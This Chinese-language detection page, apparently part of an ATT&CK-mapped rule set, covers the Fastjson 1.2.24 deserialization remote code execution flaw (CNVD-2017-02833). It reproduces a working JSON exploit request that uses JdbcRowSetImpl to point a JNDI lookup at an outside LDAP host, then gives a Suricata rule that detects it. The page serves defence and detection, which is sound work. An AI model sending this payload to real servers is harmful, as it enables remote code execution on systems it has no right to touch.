跳转至

T1190-CNVD-2017-02833-fastjson1.2.24远程代码执行

来自ATT&CK的描述

使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。

如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。

对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。

测试案例

fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。详细的原理分析:https://www.freebuf.com/vuls/208339.html

影响版本:Fastjson1.2.24以及之前的所有版本

检测日志

HTTP

测试复现

具体测试过程请参考:https://jishuin.proginn.com/p/763bfbd290cf

POST / HTTP/1.1
Host: 172.17.41.103:27760
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json;charset=UTF-8
Content-Length: 163

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://172.17.42.24:9999/TouchFile",
        "autoCommit":true
    }
}

检测规则/思路

Suricata规则

alert http any any -> any any (msg:"CNVD-2017-02833-fastjson1.2.24远程代码执行漏洞";flow:established,to_server;content:"POST";http_method;content:"com.sun.rowset.JdbcRowSetImpl";http_client_body;reference:url,jishuin.proginn.com/p/763bfbd290cf;classtype:web-application-attck;sid:3002021;rev:1;)

建议

流量+安全设备比较容易检测到此攻击行为。

参考推荐

MITRE-ATT&CK-T1190

https://attack.mitre.org/techniques/T1190/

Fastjson‐CNVD‐2017‐02833

https://jishuin.proginn.com/p/763bfbd290cf

Fastjson<1.2.24远程代码执行(CNVD-2017-02833)

https://blog.csdn.net/weixin_43071873/article/details/109368166

Fastjson系列漏洞实战和总结

https://blog.csdn.net/qq_41832837/article/details/109038795